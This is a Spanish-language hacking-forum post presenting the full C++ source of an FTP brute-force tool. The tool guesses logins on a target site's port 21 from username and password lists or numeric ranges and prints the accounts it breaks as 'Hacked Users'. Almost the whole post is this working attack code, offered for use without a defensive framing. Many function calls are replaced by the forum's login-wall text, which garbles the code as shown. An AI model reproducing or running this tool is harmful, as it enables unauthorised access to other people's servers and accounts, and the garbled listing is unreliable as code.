comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

FTP Brute Force

  • 0 Respuestas
  • 1924 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Jhonjhon_123

  • *
  • Underc0der
  • Mensajes: 150
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Jhonjhon_123's Software In Developed
« en: Febrero 23, 2010, 08:11:24 pm »
Código: C
  1. /*****
  2. Ftp Brute Force , v1.0.
  3. Written By WaReZ  
  4. -----------------
  5. Options:
  6.         Single Username - Password list , Range passwords.
  7.         Usernames list - Passwords List , Single password , Range Passwords.
  8. ---------------------------------------------------------------------------------------------
  9. Compile:        
  10.         g++ ftp.cpp -o ftp.exe
  11.  
  12. ---------------------------------------------
  13. *****/
  14.  
  15. #include <iostream>
  16. #include <winsock.h>
  17. #include <fstream>
  18. #include <time.h>
  19. using namespace std;
  20.  
  21. int ftp_connect(string user,string pass,char *site) {
  22.          
  23. sockaddr_in address;
  24.          
  25. size_t userSize = user.length()+1;
  26. size_t passSize = pass.length()+1;
  27. char username[userSize],password[passSize];
  28. ZeroMemory(&username[0],userSize);
  29. ZeroMemory(&password[0],passSize);
  30.          
  31. No tienes permisos para ver links. Registrate o Entra con tu cuenta(username,user.c_str(),userSize);
  32. No tienes permisos para ver links. Registrate o Entra con tu cuenta(password,pass.c_str(),passSize);
  33.        
  34. char recv2[256];
  35. ZeroMemory(&recv2,256);
  36.        
  37. hostent *host;
  38. host = gethostbyname(site);
  39.  
  40. if(host != NULL)
  41. {
  42.            
  43. int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  44.            
  45. address.sin_family = AF_INET;
  46. address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
  47. address.sin_port = htons(21);      
  48.  
  49.  
  50. int c,s,r;
  51. c = connect(sock,(struct sockaddr*)&address,sizeof(address));
  52. r = recv(sock,recv2,sizeof(recv2),0);
  53. s = send(sock,username,No tienes permisos para ver links. Registrate o Entra con tu cuenta(username),0);
  54. r = recv(sock,recv2,sizeof(recv2),0);
  55. s = send(sock,password,sizeof(password),0);
  56. r = recv(sock,recv2,sizeof(recv2),0);
  57.  
  58.  
  59.   if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(recv2,"230"))
  60.   {
  61.      return 230;
  62.   }
  63.        
  64.   else if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(recv2,"530"))
  65.   {
  66.      return 530;
  67.   }
  68.  
  69.   else if(c != 0)
  70.   {
  71.      return -1;
  72.   }
  73.                    
  74.   else
  75.   {
  76.      return WSAGetLastError();
  77.   }
  78.  
  79. }
  80.  
  81.   else
  82.   {
  83.     return -1;
  84.   }  
  85.  
  86. }          
  87.  
  88. int main(int argc,char *argv[])
  89. {
  90.      
  91. cout << "\n#####################################\n"
  92.          "# Ftp Brute Force                   #\n"    
  93.          "# Written By WaReZ                  #\n"
  94.          "#####################################\n\n";
  95.  
  96. WSADATA wsaData;
  97.  
  98. if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  99. {
  100.   cout << "WSAGetLastError(): " << WSAGetLastError();
  101.   No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  102. }
  103.  
  104.          
  105. if(argc < 2)
  106. {
  107.   cout << "Usage: " << argv[0] << "\n\n";
  108.   cout << "-user         singal username\n";
  109.   cout << "-ul           usernames list\n";
  110.   cout << "-start        start range\n";
  111.   cout << "-end          end range\n";
  112.   cout << "-pl           passwords list\n";
  113.   cout << "-sp           singal password for users list\n";
  114.   cout << "-site         site that be checked\n\n";
  115.  
  116.   cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  117.   cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
  118. }
  119.  
  120.        
  121. else
  122. {
  123.    
  124.   cout <<  "[~] Starting ...\n\n";
  125.   char buffer[256],rcv[256];  
  126.  
  127.  
  128.   int check = 0;
  129.   int tstart = 0 ,tend = 0;
  130.   int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  131.   string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  132.   char passwords[256],site[256] = "", users[256];
  133.   ifstream passlist,userlist;
  134.  
  135. for(int i = 1; i <= argc-1;i++)
  136. {
  137.              
  138.     if(argv[i+1] != NULL)
  139.     {
  140.          
  141.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-user"))
  142.      {
  143.         realuser = argv[i+1];        
  144.         user = "USER ";
  145.         user += argv[i+1];
  146.         user += "\r\n";
  147.         u = 1;                    
  148.      }
  149.    
  150.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-start"))
  151.      {                        
  152.         tstart = No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i+1]);
  153.         start = 1;              
  154.      }
  155.    
  156.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-end"))
  157.      {                      
  158.         tend = No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i+1]);
  159.         end = 1;                                    
  160.      }
  161.    
  162.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-pl"))
  163.      {                      
  164.         passlist.open(argv[i+1]);
  165.         if(!passlist.fail())
  166.         {
  167.         pl = 1;
  168.         }                            
  169.      }
  170.    
  171.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-site"))
  172.      {                              
  173.        site2 = argv[i+1];
  174.        No tienes permisos para ver links. Registrate o Entra con tu cuenta(site,site2.c_str(),256);
  175.        check_site = 1;                            
  176.      }
  177.    
  178.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-ul"))
  179.      {
  180.         userlist.open(argv[i+1]);
  181.         if(!userlist.fail())
  182.         {
  183.         ul = 1;
  184.         }                  
  185.      }
  186.    
  187.      if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(argv[i],"-sp"))
  188.      {
  189.         sinpass = argv[i+1];
  190.         realpass = argv[i+1];
  191.         spass = 1;                        
  192.      }
  193.    
  194.   }        
  195. }
  196.  
  197. time_t time1;
  198. time1 = No tienes permisos para ver links. Registrate o Entra con tu cuenta(NULL);
  199.  
  200. if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  201. {
  202.    for(int p = tstart; p <= tend; p++)
  203.    {    
  204.          attempt+= 1;  
  205.        
  206.          pass = "PASS ";
  207.          pass+=No tienes permisos para ver links. Registrate o Entra con tu cuenta(p,buffer,10);
  208.          pass+= "\r\n";
  209.  
  210.          int b = ftp_connect(user,pass,site);
  211.        
  212.          if(b == 230)
  213.          {
  214.              cout << realuser << "::" << p << " - Succeed" << endl;
  215.              break;
  216.          }
  217.        
  218.          else if(b == 530)
  219.          {
  220.              cout << realuser << "::" << p << " - Fail" << endl;
  221.          }
  222.      
  223.          else if(b == -1)
  224.          {
  225.              cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  226.              error = 1;
  227.              break;    
  228.          }
  229.      
  230.          else
  231.          {            
  232.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  233.              error = 1;
  234.              break;
  235.          }
  236.        
  237.          attempt+= 1;
  238.                      
  239.    }
  240. }
  241.  
  242. else if(pl == 1 && u == 1 && check_site == 1)
  243. {      
  244.    while(!passlist.eof())
  245.    {                          
  246.       attempt+= 1;  
  247.      
  248.       passlist.getline(passwords,100);  
  249.       pass = "PASS ";
  250.       pass+= passwords;
  251.       pass+= "\r\n";
  252.      
  253.       int b = ftp_connect(user,pass,site);
  254.      
  255.       if(b == 230)
  256.       {
  257.           cout << realuser << "::" << passwords << " - Succeed" << endl;
  258.           hacked = 1;
  259.           break;
  260.       }
  261.        
  262.       else if(b == 530)
  263.       {
  264.           cout << realuser << "::" << passwords << " - Fail" << endl;
  265.       }
  266.    
  267.       else if(b == -1)
  268.       {
  269.           cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  270.           error = 1;
  271.           break;    
  272.       }
  273.      
  274.       else
  275.       {            
  276.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  277.           error = 1;
  278.           break;
  279.       }
  280.                            
  281.    }
  282.  
  283.    if(hacked == 0)
  284.    {
  285.        cout <<  "\n\nNon password was matched.\n\n";
  286.    }
  287. }
  288.  
  289. else if(ul == 1 && pl == 1 && check_site == 1)
  290. {        
  291.    while(!userlist.eof())
  292.    {
  293.       userlist.getline(users,100);
  294.       user = "USER ";
  295.       user+= users;
  296.       user+= "\r\n";                        
  297.      
  298.       while(!passlist.eof())
  299.       {  
  300.          attempt+= 1;  
  301.                                    
  302.          passlist.getline(passwords,100);  
  303.          pass = "PASS ";
  304.          pass+= passwords;
  305.          pass+= "\r\n";
  306.  
  307.          int b = ftp_connect(user,pass,site);
  308.    
  309.          if(b == 230)
  310.          {
  311.              cout << users << "::" << passwords << " - Succeed" << endl;
  312.              correct_pass+= users;
  313.              correct_pass+= "::";
  314.              correct_pass+= passwords;
  315.              correct_pass+= "\n";
  316.              hacked+= 1;
  317.              passlist.clear();              
  318.              passlist.seekg(0,ios::beg);
  319.              cout << "-------------------------\n";
  320.              break;
  321.      
  322.          }
  323.        
  324.          else if(b == 530)
  325.          {
  326.              cout << users << "::" << passwords << " - Fail" << endl;          
  327.          }
  328.      
  329.          else if(b == -1)
  330.          {
  331.             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  332.             error = 1;
  333.             break;    
  334.          }      
  335.      
  336.          else
  337.          {            
  338.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  339.              error = 1;
  340.              break;
  341.          }
  342.        
  343.          if(passlist.eof())
  344.          {
  345.             cout << "-------------------------\n";              
  346.             passlist.clear();              
  347.             passlist.seekg(0,ios::beg);
  348.             break;                    
  349.          }
  350.  
  351.      }
  352.    
  353.      if(error == 1)
  354.      {
  355.          break;
  356.      }        
  357. }
  358.         if(error != 1)
  359.         {
  360.             if(hacked > 0)
  361.             {              
  362.                 cout << "\nHacked Users:\n\n";
  363.                 cout << correct_pass;
  364.                 cout << "\n" << hacked << " Users Was Hacked\n";
  365.             }
  366.            
  367.             else
  368.             {
  369.               cout << "\n\nNon password was matched.\n\n";    
  370.             }
  371.         }
  372. }
  373.  
  374. else if(spass == 1 && ul == 1 && check_site == 1)
  375. {
  376.    while(!userlist.eof())
  377.    {  
  378.       attempt+= 1;  
  379.      
  380.       userlist.getline(users,100);
  381.       user = "USER ";
  382.       user+= users;
  383.       user+= "\r\n";  
  384.        
  385.       pass = "PASS ";
  386.       pass+= sinpass;
  387.       pass+= "\r\n";
  388.            
  389.       int b = ftp_connect(user,pass,site);
  390.      
  391.       if(b == 230)
  392.       {
  393.           cout << users << "::" << realpass << " - Succeed" << endl;
  394.           fileusers+= users;
  395.           fileusers+= "::";
  396.           fileusers+= realpass;
  397.           fileusers+= "\n";
  398.           hacked+= 1;
  399.       }
  400.        
  401.       else if(b == 530)
  402.       {
  403.           cout << users << "::" << realpass << " - Fail" << endl;          
  404.       }
  405.      
  406.       else if(b == -1)
  407.       {
  408.           cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  409.           error = 1;
  410.           break;    
  411.       }
  412.      
  413.       else
  414.       {            
  415.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  416.           error = 1;
  417.           break;
  418.       }
  419.                                          
  420.    }  
  421.       if(error != 1)
  422.       {                      
  423.           if(hacked > 0)
  424.           {        
  425.               cout << "\n\nHacked Users:\n\n";
  426.               cout << fileusers;
  427.               cout << "\n" << hacked << " Users was Hacked\n";
  428.           }
  429.    
  430.           else
  431.           {
  432.               cout << "\n\nNon password was matched.\n\n";  
  433.           }
  434.        }  
  435.        
  436. }
  437.  
  438. else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  439. {
  440.     while(!userlist.eof())
  441.     {                        
  442.        userlist.getline(users,100);
  443.          
  444.        for(int d = tstart; d <= tend;d++)
  445.        {  
  446.          
  447.           attempt+= 1;  
  448.          
  449.           user = "USER ";
  450.           user+= users;
  451.           user+= "\r\n";
  452.          
  453.           pass = "PASS ";
  454.           pass+= No tienes permisos para ver links. Registrate o Entra con tu cuenta(d,buffer,10);
  455.           pass+= "\r\n";  
  456.          
  457.           int b = ftp_connect(user,pass,site);
  458.      
  459.           if(b == 230)
  460.           {
  461.               cout << users << "::" << d << " - Succeed" << endl;
  462.               fileusers+= users;
  463.               fileusers+= "::";
  464.               fileusers+= No tienes permisos para ver links. Registrate o Entra con tu cuenta(d,buffer,10);
  465.               fileusers+= "\n";
  466.               hacked+= 1;
  467.               break;
  468.           }
  469.          
  470.           else if(b == 530)
  471.           {
  472.               cout << users << "::" << d << " - Fail" << endl;          
  473.           }
  474.                
  475.           else if(b == -1)
  476.           {
  477.              cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  478.              error = 1;
  479.              break;    
  480.           }
  481.          
  482.           else
  483.           {          
  484.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  485.              error = 1;
  486.              break;
  487.           }  
  488.            
  489.       }
  490.           cout << "----------------------\n";  
  491.    }
  492.    
  493.       if(error != 1)
  494.       {              
  495.           if(hacked > 0)
  496.           {
  497.               cout << "\n\nHacked Users:\n\n";
  498.               cout << fileusers;
  499.               cout << "\n" << hacked << " Users was Hacked\n";
  500.           }
  501.          
  502.           else
  503.           {
  504.              cout << "\n\nNon password was matched\n\n";    
  505.           }
  506.       }            
  507. }  
  508.  
  509. else
  510. {
  511.     if(tstart > tend)
  512.     {
  513.       cout << "Error: Start range bigger then end range.\n";        
  514.     }
  515.    
  516.     else if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(site) < 1)
  517.     {
  518.        cout << "Error: You forget to write the site.\n";
  519.     }
  520.    
  521.     else if(passlist.fail() || userlist.fail())
  522.     {
  523.       cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";    
  524.     }
  525.      
  526.     else
  527.     {
  528.       cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
  529.     }
  530. }      
  531.  
  532. time_t time2;
  533. time2 = No tienes permisos para ver links. Registrate o Entra con tu cuenta(NULL);
  534. cout << "\nAttempts: " << attempt << "\n";
  535. cout << "Time elapsed: " << time2-time1 << "\n";
  536. }
  537. }
« Última modificación: Febrero 08, 2014, 06:13:36 pm por Expermicid »
No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!